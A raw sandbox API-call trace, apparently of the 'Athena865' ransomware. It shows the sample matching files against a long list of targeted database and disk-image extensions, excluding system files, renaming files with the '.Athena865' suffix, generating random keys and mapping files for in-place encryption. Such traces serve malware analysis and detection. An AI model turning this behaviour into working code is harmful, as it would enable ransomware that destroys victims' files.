[0037.706] lstrcmpiW (lpString1=".ax", lpString2="tgz") returned -1 [0037.706] lstrlenW (lpString="vbox") returned 4 [0037.706] lstrcmpiW (lpString1="k.ax", lpString2="vbox") returned -1 [0037.706] lstrlenW (lpString="vdi") returned 3 [0037.706] lstrcmpiW (lpString1=".ax", lpString2="vdi") returned -1 [0037.706] lstrlenW (lpString="vhd") returned 3 [0037.706] lstrcmpiW (lpString1=".ax", lpString2="vhd") returned -1 [0037.706] lstrlenW (lpString="vhdx") returned 4 [0037.706] lstrcmpiW (lpString1="k.ax", lpString2="vhdx") returned -1 [0037.706] lstrlenW (lpString="avhd") returned 4 [0037.706] lstrcmpiW (lpString1="k.ax", lpString2="avhd") returned 1 [0037.706] lstrlenW (lpString="db") returned 2 [0037.706] lstrcmpiW (lpString1="ax", lpString2="db") returned -1 [0037.706] lstrlenW (lpString="db2") returned 3 [0037.706] lstrcmpiW (lpString1=".ax", lpString2="db2") returned -1 [0037.706] lstrlenW (lpString="db3") returned 3 [0037.706] lstrcmpiW (lpString1=".ax", lpString2="db3") returned -1 [0037.706] lstrlenW (lpString="dbf") returned 3 [0037.706] lstrcmpiW (lpString1=".ax", lpString2="dbf") returned -1 [0037.706] lstrlenW (lpString="mdf") returned 3 [0037.706] lstrcmpiW (lpString1=".ax", lpString2="mdf") returned -1 [0037.706] lstrlenW (lpString="mdb") returned 3 [0037.706] lstrcmpiW (lpString1=".ax", lpString2="mdb") returned -1 [0037.706] lstrlenW (lpString="sql") returned 3 [0037.706] lstrcmpiW (lpString1=".ax", lpString2="sql") returned -1 [0037.706] lstrlenW (lpString="sqlite") returned 6 [0037.706] lstrcmpiW (lpString1="ink.ax", lpString2="sqlite") returned -1 [0037.707] lstrlenW (lpString="sqlite3") returned 7 [0037.707] lstrcmpiW (lpString1="sink.ax", lpString2="sqlite3") returned -1 [0037.707] lstrlenW (lpString="sqlitedb") returned 8 [0037.707] lstrcmpiW (lpString1="msink.ax", lpString2="sqlitedb") returned -1 [0037.707] lstrlenW (lpString="xml") returned 3 [0037.707] lstrcmpiW (lpString1=".ax", lpString2="xml") returned -1 [0037.707] lstrlenW (lpString="$er") returned 3 [0037.707] lstrcmpiW (lpString1=".ax", lpString2="$er") returned 1 [0037.707] lstrlenW (lpString="4dd") returned 3 [0037.707] lstrcmpiW (lpString1=".ax", lpString2="4dd") returned -1 [0037.707] lstrlenW (lpString="4dl") returned 3 [0037.707] lstrcmpiW (lpString1=".ax", lpString2="4dl") returned -1 [0037.707] lstrlenW (lpString="^^^") returned 3 [0037.707] lstrcmpiW (lpString1=".ax", lpString2="^^^") returned -1 [0037.707] lstrlenW (lpString="abs") returned 3 [0037.707] lstrcmpiW (lpString1=".ax", lpString2="abs") returned -1 [0037.707] lstrlenW (lpString="abx") returned 3 [0037.707] lstrcmpiW (lpString1=".ax", lpString2="abx") returned -1 [0037.707] lstrlenW (lpString="accdb") returned 5 [0037.707] lstrcmpiW (lpString1="nk.ax", lpString2="accdb") returned 1 [0037.707] lstrlenW (lpString="accdc") returned 5 [0037.707] lstrcmpiW (lpString1="nk.ax", lpString2="accdc") returned 1 [0037.707] lstrlenW (lpString="accde") returned 5 [0037.707] lstrcmpiW (lpString1="nk.ax", lpString2="accde") returned 1 [0037.707] lstrlenW (lpString="accdr") returned 5 [0037.707] lstrcmpiW (lpString1="nk.ax", lpString2="accdr") returned 1 [0037.707] lstrlenW (lpString="accdt") returned 5 [0037.708] lstrcmpiW (lpString1="nk.ax", lpString2="accdt") returned 1 [0037.708] lstrlenW (lpString="accdw") returned 5 [0037.708] lstrcmpiW (lpString1="nk.ax", lpString2="accdw") returned 1 [0037.708] lstrlenW (lpString="accft") returned 5 [0037.708] lstrcmpiW (lpString1="nk.ax", lpString2="accft") returned 1 [0037.708] lstrlenW (lpString="adb") returned 3 [0037.708] lstrcmpiW (lpString1=".ax", lpString2="adb") returned -1 [0037.708] lstrlenW (lpString="adb") returned 3 [0037.708] lstrcmpiW (lpString1=".ax", lpString2="adb") returned -1 [0037.708] lstrlenW (lpString="ade") returned 3 [0037.708] lstrcmpiW (lpString1=".ax", lpString2="ade") returned -1 [0037.708] lstrlenW (lpString="adf") returned 3 [0037.708] lstrcmpiW (lpString1=".ax", lpString2="adf") returned -1 [0037.708] lstrlenW (lpString="adn") returned 3 [0037.708] lstrcmpiW (lpString1=".ax", lpString2="adn") returned -1 [0037.708] lstrlenW (lpString="adp") returned 3 [0037.708] lstrcmpiW (lpString1=".ax", lpString2="adp") returned -1 [0037.708] lstrlenW (lpString="alf") returned 3 [0037.708] lstrcmpiW (lpString1=".ax", lpString2="alf") returned -1 [0037.708] lstrlenW (lpString="ask") returned 3 [0037.708] lstrcmpiW (lpString1=".ax", lpString2="ask") returned -1 [0037.708] lstrlenW (lpString="btr") returned 3 [0037.708] lstrcmpiW (lpString1=".ax", lpString2="btr") returned -1 [0037.708] lstrlenW (lpString="cat") returned 3 [0037.708] lstrcmpiW (lpString1=".ax", lpString2="cat") returned -1 [0037.708] lstrlenW (lpString="cdb") returned 3 [0037.708] lstrcmpiW (lpString1=".ax", lpString2="cdb") returned -1 [0037.708] lstrlenW (lpString="ckp") returned 3 [0037.708] lstrcmpiW (lpString1=".ax", lpString2="ckp") returned -1 [0037.708] lstrlenW (lpString="cma") returned 3 [0037.708] lstrcmpiW (lpString1=".ax", lpString2="cma") returned -1 [0037.708] lstrlenW (lpString="cpd") returned 3 [0037.708] lstrcmpiW (lpString1=".ax", lpString2="cpd") returned -1 [0037.708] lstrlenW (lpString="dacpac") returned 6 [0037.708] lstrcmpiW (lpString1="ink.ax", lpString2="dacpac") returned 1 [0037.708] lstrlenW (lpString="dad") returned 3 [0037.708] lstrcmpiW (lpString1=".ax", lpString2="dad") returned -1 [0037.708] lstrlenW (lpString="dadiagrams") returned 10 [0037.709] lstrcmpiW (lpString1="eamsink.ax", lpString2="dadiagrams") returned 1 [0037.709] lstrlenW (lpString="daschema") returned 8 [0037.709] lstrcmpiW (lpString1="msink.ax", lpString2="daschema") returned 1 [0037.709] lstrlenW (lpString="db-journal") returned 10 [0037.709] lstrcmpiW (lpString1="eamsink.ax", lpString2="db-journal") returned 1 [0037.709] lstrlenW (lpString="db-shm") returned 6 [0037.709] lstrcmpiW (lpString1="ink.ax", lpString2="db-shm") returned 1 [0037.709] lstrlenW (lpString="db-wal") returned 6 [0037.709] lstrcmpiW (lpString1="ink.ax", lpString2="db-wal") returned 1 [0037.709] lstrlenW (lpString="dbc") returned 3 [0037.709] lstrcmpiW (lpString1=".ax", lpString2="dbc") returned -1 [0037.709] lstrlenW (lpString="dbs") returned 3 [0037.709] lstrcmpiW (lpString1=".ax", lpString2="dbs") returned -1 [0037.709] lstrlenW (lpString="dbt") returned 3 [0037.709] lstrcmpiW (lpString1=".ax", lpString2="dbt") returned -1 [0037.709] lstrlenW (lpString="dbv") returned 3 [0037.709] lstrcmpiW (lpString1=".ax", lpString2="dbv") returned -1 [0037.709] lstrlenW (lpString="dbx") returned 3 [0037.709] lstrcmpiW (lpString1=".ax", lpString2="dbx") returned -1 [0037.709] lstrlenW (lpString="dcb") returned 3 [0037.709] lstrcmpiW (lpString1=".ax", lpString2="dcb") returned -1 [0037.709] lstrlenW (lpString="dct") returned 3 [0037.709] lstrcmpiW (lpString1=".ax", lpString2="dct") returned -1 [0037.709] lstrlenW (lpString="dcx") returned 3 [0037.709] lstrcmpiW (lpString1=".ax", lpString2="dcx") returned -1 [0037.709] lstrlenW (lpString="ddl") returned 3 [0037.709] lstrcmpiW (lpString1=".ax", lpString2="ddl") returned -1 [0037.709] lstrlenW (lpString="dlis") returned 4 [0037.709] lstrcmpiW (lpString1="k.ax", lpString2="dlis") returned 1 [0037.709] lstrlenW (lpString="dp1") returned 3 [0037.709] lstrcmpiW (lpString1=".ax", lpString2="dp1") returned -1 [0037.709] lstrlenW (lpString="dqy") returned 3 [0037.709] lstrcmpiW (lpString1=".ax", lpString2="dqy") returned -1 [0037.709] lstrlenW (lpString="dsk") returned 3 [0037.709] lstrcmpiW (lpString1=".ax", lpString2="dsk") returned -1 [0037.709] lstrlenW (lpString="dsn") returned 3 [0037.709] lstrcmpiW (lpString1=".ax", lpString2="dsn") returned -1 [0037.709] lstrlenW (lpString="dtsx") returned 4 [0037.709] lstrcmpiW (lpString1="k.ax", lpString2="dtsx") returned 1 [0037.709] lstrlenW (lpString="dxl") returned 3 [0037.710] lstrcmpiW (lpString1=".ax", lpString2="dxl") returned -1 [0037.710] lstrlenW (lpString="eco") returned 3 [0037.710] lstrcmpiW (lpString1=".ax", lpString2="eco") returned -1 [0037.710] lstrlenW (lpString="ecx") returned 3 [0037.710] lstrcmpiW (lpString1=".ax", lpString2="ecx") returned -1 [0037.710] lstrlenW (lpString="edb") returned 3 [0037.710] lstrcmpiW (lpString1=".ax", lpString2="edb") returned -1 [0037.710] lstrlenW (lpString="epim") returned 4 [0037.710] lstrcmpiW (lpString1="k.ax", lpString2="epim") returned 1 [0037.710] lstrlenW (lpString="fcd") returned 3 [0037.710] lstrcmpiW (lpString1=".ax", lpString2="fcd") returned -1 [0037.710] lstrlenW (lpString="fdb") returned 3 [0037.710] lstrcmpiW (lpString1=".ax", lpString2="fdb") returned -1 [0037.710] lstrlenW (lpString="fic") returned 3 [0037.710] lstrcmpiW (lpString1=".ax", lpString2="fic") returned -1 [0037.710] lstrlenW (lpString="flexolibrary") returned 12 [0037.710] lstrcmpiW (lpString1="treamsink.ax", lpString2="flexolibrary") returned 1 [0037.710] lstrlenW (lpString="fm5") returned 3 [0037.710] lstrcmpiW (lpString1=".ax", lpString2="fm5") returned -1 [0037.710] lstrlenW (lpString="fmp") returned 3 [0037.710] lstrcmpiW (lpString1=".ax", lpString2="fmp") returned -1 [0037.710] lstrlenW (lpString="fmp12") returned 5 [0037.710] lstrcmpiW (lpString1="nk.ax", lpString2="fmp12") returned 1 [0037.710] lstrlenW (lpString="fmpsl") returned 5 [0037.710] lstrcmpiW (lpString1="nk.ax", lpString2="fmpsl") returned 1 [0037.710] lstrlenW (lpString="fol") returned 3 [0037.710] lstrcmpiW (lpString1=".ax", lpString2="fol") returned -1 [0037.710] lstrlenW (lpString="fp3") returned 3 [0037.710] lstrcmpiW (lpString1=".ax", lpString2="fp3") returned -1 [0037.710] lstrlenW (lpString="fp4") returned 3 [0037.710] lstrcmpiW (lpString1=".ax", lpString2="fp4") returned -1 [0037.710] lstrlenW (lpString="fp5") returned 3 [0037.710] lstrcmpiW (lpString1=".ax", lpString2="fp5") returned -1 [0037.710] lstrlenW (lpString="fp7") returned 3 [0037.710] lstrcmpiW (lpString1=".ax", lpString2="fp7") returned -1 [0037.710] lstrlenW (lpString="fpt") returned 3 [0037.710] lstrcmpiW (lpString1=".ax", lpString2="fpt") returned -1 [0037.710] lstrlenW (lpString="frm") returned 3 [0037.711] lstrcmpiW (lpString1=".ax", lpString2="frm") returned -1 [0037.711] lstrlenW (lpString="gdb") returned 3 [0037.711] lstrcmpiW (lpString1=".ax", lpString2="gdb") returned -1 [0037.711] lstrlenW (lpString="gdb") returned 3 [0037.711] lstrcmpiW (lpString1=".ax", lpString2="gdb") returned -1 [0037.711] lstrlenW (lpString="grdb") returned 4 [0037.711] lstrcmpiW (lpString1="k.ax", lpString2="grdb") returned 1 [0037.711] lstrlenW (lpString="gwi") returned 3 [0037.711] lstrcmpiW (lpString1=".ax", lpString2="gwi") returned -1 [0037.711] lstrlenW (lpString="hdb") returned 3 [0037.711] lstrcmpiW (lpString1=".ax", lpString2="hdb") returned -1 [0037.711] lstrlenW (lpString="his") returned 3 [0037.711] lstrcmpiW (lpString1=".ax", lpString2="his") returned -1 [0037.711] lstrlenW (lpString="ib") returned 2 [0037.711] lstrcmpiW (lpString1="ax", lpString2="ib") returned -1 [0037.711] lstrlenW (lpString="idb") returned 3 [0037.711] lstrcmpiW (lpString1=".ax", lpString2="idb") returned -1 [0037.711] lstrlenW (lpString="ihx") returned 3 [0037.711] lstrcmpiW (lpString1=".ax", lpString2="ihx") returned -1 [0037.711] lstrlenW (lpString="itdb") returned 4 [0037.711] lstrcmpiW (lpString1="k.ax", lpString2="itdb") returned 1 [0037.711] lstrlenW (lpString="itw") returned 3 [0037.711] lstrcmpiW (lpString1=".ax", lpString2="itw") returned -1 [0037.711] lstrlenW (lpString="jet") returned 3 [0037.711] lstrcmpiW (lpString1=".ax", lpString2="jet") returned -1 [0037.711] lstrlenW (lpString="jtx") returned 3 [0037.711] lstrcmpiW (lpString1=".ax", lpString2="jtx") returned -1 [0037.711] lstrlenW (lpString="kdb") returned 3 [0037.711] lstrcmpiW (lpString1=".ax", lpString2="kdb") returned -1 [0037.711] lstrlenW (lpString="kexi") returned 4 [0037.711] lstrcmpiW (lpString1="k.ax", lpString2="kexi") returned -1 [0037.711] lstrlenW (lpString="kexic") returned 5 [0037.711] lstrcmpiW (lpString1="nk.ax", lpString2="kexic") returned 1 [0037.711] lstrlenW (lpString="kexis") returned 5 [0037.711] lstrcmpiW (lpString1="nk.ax", lpString2="kexis") returned 1 [0037.711] lstrlenW (lpString="lgc") returned 3 [0037.711] lstrcmpiW (lpString1=".ax", lpString2="lgc") returned -1 [0037.712] lstrlenW (lpString="lwx") returned 3 [0037.712] lstrcmpiW (lpString1=".ax", lpString2="lwx") returned -1 [0037.712] lstrlenW (lpString="maf") returned 3 [0037.712] lstrcmpiW (lpString1=".ax", lpString2="maf") returned -1 [0037.712] lstrlenW (lpString="maq") returned 3 [0037.712] lstrcmpiW (lpString1=".ax", lpString2="maq") returned -1 [0037.712] lstrlenW (lpString="mar") returned 3 [0037.712] lstrcmpiW (lpString1=".ax", lpString2="mar") returned -1 [0037.712] lstrlenW (lpString="marshal") returned 7 [0037.712] lstrcmpiW (lpString1="sink.ax", lpString2="marshal") returned 1 [0037.712] lstrlenW (lpString="mas") returned 3 [0037.712] lstrcmpiW (lpString1=".ax", lpString2="mas") returned -1 [0037.712] lstrlenW (lpString="mav") returned 3 [0037.712] lstrcmpiW (lpString1=".ax", lpString2="mav") returned -1 [0037.712] lstrlenW (lpString="maw") returned 3 [0037.712] lstrcmpiW (lpString1=".ax", lpString2="maw") returned -1 [0037.712] lstrlenW (lpString="mdbhtml") returned 7 [0037.712] lstrcmpiW (lpString1="sink.ax", lpString2="mdbhtml") returned 1 [0037.712] lstrlenW (lpString="mdn") returned 3 [0037.712] lstrcmpiW (lpString1=".ax", lpString2="mdn") returned -1 [0037.712] lstrlenW (lpString="mdt") returned 3 [0037.712] lstrcmpiW (lpString1=".ax", lpString2="mdt") returned -1 [0037.712] lstrlenW (lpString="mfd") returned 3 [0037.712] lstrcmpiW (lpString1=".ax", lpString2="mfd") returned -1 [0037.712] lstrlenW (lpString="mpd") returned 3 [0037.712] lstrcmpiW (lpString1=".ax", lpString2="mpd") returned -1 [0037.712] lstrlenW (lpString="mrg") returned 3 [0037.712] lstrcmpiW (lpString1=".ax", lpString2="mrg") returned -1 [0037.712] lstrlenW (lpString="mud") returned 3 [0037.712] lstrcmpiW (lpString1=".ax", lpString2="mud") returned -1 [0037.712] lstrlenW (lpString="mwb") returned 3 [0037.712] lstrcmpiW (lpString1=".ax", lpString2="mwb") returned -1 [0037.712] lstrlenW (lpString="myd") returned 3 [0037.712] lstrcmpiW (lpString1=".ax", lpString2="myd") returned -1 [0037.712] lstrlenW (lpString="ndf") returned 3 [0037.712] lstrcmpiW (lpString1=".ax", lpString2="ndf") returned -1 [0037.712] lstrlenW (lpString="nnt") returned 3 [0037.712] lstrcmpiW (lpString1=".ax", lpString2="nnt") returned -1 [0037.712] lstrlenW (lpString="nrmlib") returned 6 [0037.713] lstrcmpiW (lpString1="ink.ax", lpString2="nrmlib") returned -1 [0037.713] lstrlenW (lpString="ns2") returned 3 [0037.713] lstrcmpiW (lpString1=".ax", lpString2="ns2") returned -1 [0037.713] lstrlenW (lpString="ns3") returned 3 [0037.713] lstrcmpiW (lpString1=".ax", lpString2="ns3") returned -1 [0037.713] lstrlenW (lpString="ns4") returned 3 [0037.713] lstrcmpiW (lpString1=".ax", lpString2="ns4") returned -1 [0037.713] lstrlenW (lpString="nsf") returned 3 [0037.713] lstrcmpiW (lpString1=".ax", lpString2="nsf") returned -1 [0037.713] lstrlenW (lpString="nv") returned 2 [0037.713] lstrcmpiW (lpString1="ax", lpString2="nv") returned -1 [0037.713] lstrlenW (lpString="nv2") returned 3 [0037.713] lstrcmpiW (lpString1=".ax", lpString2="nv2") returned -1 [0037.713] lstrlenW (lpString="nwdb") returned 4 [0037.713] lstrcmpiW (lpString1="k.ax", lpString2="nwdb") returned -1 [0037.713] lstrlenW (lpString="nyf") returned 3 [0037.713] lstrcmpiW (lpString1=".ax", lpString2="nyf") returned -1 [0037.713] lstrlenW (lpString="odb") returned 3 [0037.713] lstrcmpiW (lpString1=".ax", lpString2="odb") returned -1 [0037.713] lstrlenW (lpString="odb") returned 3 [0037.713] lstrcmpiW (lpString1=".ax", lpString2="odb") returned -1 [0037.713] lstrlenW (lpString="oqy") returned 3 [0037.713] lstrcmpiW (lpString1=".ax", lpString2="oqy") returned -1 [0037.713] lstrlenW (lpString="ora") returned 3 [0037.713] lstrcmpiW (lpString1=".ax", lpString2="ora") returned -1 [0037.713] lstrlenW (lpString="orx") returned 3 [0037.713] lstrcmpiW (lpString1=".ax", lpString2="orx") returned -1 [0037.713] lstrlenW (lpString="owc") returned 3 [0037.713] lstrcmpiW (lpString1=".ax", lpString2="owc") returned -1 [0037.713] lstrlenW (lpString="p96") returned 3 [0037.713] lstrcmpiW (lpString1=".ax", lpString2="p96") returned -1 [0037.713] lstrlenW (lpString="p97") returned 3 [0037.713] lstrcmpiW (lpString1=".ax", lpString2="p97") returned -1 [0037.713] lstrlenW (lpString="pan") returned 3 [0037.713] lstrcmpiW (lpString1=".ax", lpString2="pan") returned -1 [0037.713] lstrlenW (lpString="pdb") returned 3 [0037.713] lstrcmpiW (lpString1=".ax", lpString2="pdb") returned -1 [0037.713] lstrlenW (lpString="pdm") returned 3 [0037.713] lstrcmpiW (lpString1=".ax", lpString2="pdm") returned -1 [0037.713] lstrlenW (lpString="pnz") returned 3 [0037.714] lstrcmpiW (lpString1=".ax", lpString2="pnz") returned -1 [0037.714] lstrlenW (lpString="qry") returned 3 [0037.714] lstrcmpiW (lpString1=".ax", lpString2="qry") returned -1 [0037.714] lstrlenW (lpString="qvd") returned 3 [0037.714] lstrcmpiW (lpString1=".ax", lpString2="qvd") returned -1 [0037.714] lstrlenW (lpString="rbf") returned 3 [0037.714] lstrcmpiW (lpString1=".ax", lpString2="rbf") returned -1 [0037.714] lstrlenW (lpString="rctd") returned 4 [0037.714] lstrcmpiW (lpString1="k.ax", lpString2="rctd") returned -1 [0037.714] lstrlenW (lpString="rod") returned 3 [0037.714] lstrcmpiW (lpString1=".ax", lpString2="rod") returned -1 [0037.714] lstrlenW (lpString="rodx") returned 4 [0037.714] lstrcmpiW (lpString1="k.ax", lpString2="rodx") returned -1 [0037.714] lstrlenW (lpString="rpd") returned 3 [0037.714] lstrcmpiW (lpString1=".ax", lpString2="rpd") returned -1 [0037.714] lstrlenW (lpString="rsd") returned 3 [0037.714] lstrcmpiW (lpString1=".ax", lpString2="rsd") returned -1 [0037.714] lstrlenW (lpString="sas7bdat") returned 8 [0037.714] lstrcmpiW (lpString1="msink.ax", lpString2="sas7bdat") returned -1 [0037.714] lstrlenW (lpString="sbf") returned 3 [0037.714] lstrcmpiW (lpString1=".ax", lpString2="sbf") returned -1 [0037.714] lstrlenW (lpString="scx") returned 3 [0037.714] lstrcmpiW (lpString1=".ax", lpString2="scx") returned -1 [0037.714] lstrlenW (lpString="sdb") returned 3 [0037.714] lstrcmpiW (lpString1=".ax", lpString2="sdb") returned -1 [0037.714] lstrlenW (lpString="sdc") returned 3 [0037.714] lstrcmpiW (lpString1=".ax", lpString2="sdc") returned -1 [0037.714] lstrlenW (lpString="sdf") returned 3 [0037.714] lstrcmpiW (lpString1=".ax", lpString2="sdf") returned -1 [0037.714] lstrlenW (lpString="sis") returned 3 [0037.714] lstrcmpiW (lpString1=".ax", lpString2="sis") returned -1 [0037.714] lstrlenW (lpString="spq") returned 3 [0037.714] lstrcmpiW (lpString1=".ax", lpString2="spq") returned -1 [0037.714] lstrlenW (lpString="te") returned 2 [0037.714] lstrcmpiW (lpString1="ax", lpString2="te") returned -1 [0037.714] lstrlenW (lpString="teacher") returned 7 [0037.714] lstrcmpiW (lpString1="sink.ax", lpString2="teacher") returned -1 [0037.714] lstrlenW (lpString="tmd") returned 3 [0037.715] lstrcmpiW (lpString1=".ax", lpString2="tmd") returned -1 [0037.715] lstrlenW (lpString="tps") returned 3 [0037.715] lstrcmpiW (lpString1=".ax", lpString2="tps") returned -1 [0037.715] lstrlenW (lpString="trc") returned 3 [0037.715] lstrcmpiW (lpString1=".ax", lpString2="trc") returned -1 [0037.715] lstrlenW (lpString="trc") returned 3 [0037.715] lstrcmpiW (lpString1=".ax", lpString2="trc") returned -1 [0037.715] lstrlenW (lpString="trm") returned 3 [0037.715] lstrcmpiW (lpString1=".ax", lpString2="trm") returned -1 [0037.715] lstrlenW (lpString="udb") returned 3 [0037.715] lstrcmpiW (lpString1=".ax", lpString2="udb") returned -1 [0037.715] lstrlenW (lpString="udl") returned 3 [0037.715] lstrcmpiW (lpString1=".ax", lpString2="udl") returned -1 [0037.715] lstrlenW (lpString="usr") returned 3 [0037.715] lstrcmpiW (lpString1=".ax", lpString2="usr") returned -1 [0037.715] lstrlenW (lpString="v12") returned 3 [0037.715] lstrcmpiW (lpString1=".ax", lpString2="v12") returned -1 [0037.715] lstrlenW (lpString="vis") returned 3 [0037.715] lstrcmpiW (lpString1=".ax", lpString2="vis") returned -1 [0037.715] lstrlenW (lpString="vpd") returned 3 [0037.715] lstrcmpiW (lpString1=".ax", lpString2="vpd") returned -1 [0037.715] lstrlenW (lpString="vvv") returned 3 [0037.715] lstrcmpiW (lpString1=".ax", lpString2="vvv") returned -1 [0037.715] lstrlenW (lpString="wdb") returned 3 [0037.715] lstrcmpiW (lpString1=".ax", lpString2="wdb") returned -1 [0037.715] lstrlenW (lpString="wmdb") returned 4 [0037.715] lstrcmpiW (lpString1="k.ax", lpString2="wmdb") returned -1 [0037.715] lstrlenW (lpString="wrk") returned 3 [0037.715] lstrcmpiW (lpString1=".ax", lpString2="wrk") returned -1 [0037.715] lstrlenW (lpString="xdb") returned 3 [0037.715] lstrcmpiW (lpString1=".ax", lpString2="xdb") returned -1 [0037.715] lstrlenW (lpString="xld") returned 3 [0037.715] lstrcmpiW (lpString1=".ax", lpString2="xld") returned -1 [0037.715] lstrlenW (lpString="xmlff") returned 5 [0037.715] lstrcmpiW (lpString1="nk.ax", lpString2="xmlff") returned -1 [0037.715] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\rtstreamsink.ax.Athena865") returned 52 [0037.716] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\rtstreamsink.ax.Athena865" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax.athena865"), dwFlags=0x1) returned 1 [0037.716] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsink.ax.Athena865" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0037.716] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=78848) returned 1 [0037.716] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0037.717] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0037.717] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0037.717] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0037.717] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0037.717] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.718] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13700, lpName=0x0) returned 0x154 [0037.719] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13700) returned 0x100000 [0037.744] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0037.745] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0037.745] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0037.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0037.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0037.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0037.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0037.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0037.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0037.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.745] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0037.745] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0037.746] CloseHandle (hObject=0x154) returned 1 [0037.746] CloseHandle (hObject=0x17c) returned 1 [0037.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0037.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0037.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0037.749] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1 [0037.749] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0037.749] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0037.749] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2=".") returned 1 [0037.749] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="..") returned 1 [0037.749] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="windows") returned -1 [0037.749] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="bootmgr") returned 1 [0037.749] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="temp") returned -1 [0037.749] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="pagefile.sys") returned 1 [0037.749] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="boot") returned 1 [0037.749] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="ids.txt") returned 1 [0037.749] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="ntuser.dat") returned 1 [0037.749] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="perflogs") returned 1 [0037.749] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="MSBuild") returned 1 [0037.749] lstrlenW (lpString="rtstreamsource.ax") returned 17 [0037.749] lstrcpyW (in: lpString1=0x241e87e, lpString2="rtstreamsource.ax" | out: lpString1="rtstreamsource.ax") returned="rtstreamsource.ax" [0037.749] lstrlenW (lpString="rtstreamsource.ax") returned 17 [0037.749] lstrlenW (lpString="Athena865") returned 9 [0037.749] lstrcmpiW (lpString1="source.ax", lpString2="Athena865") returned 1 [0037.749] lstrlenW (lpString=".dll") returned 4 [0037.749] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2=".dll") returned 1 [0037.749] lstrlenW (lpString=".lnk") returned 4 [0037.750] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2=".lnk") returned 1 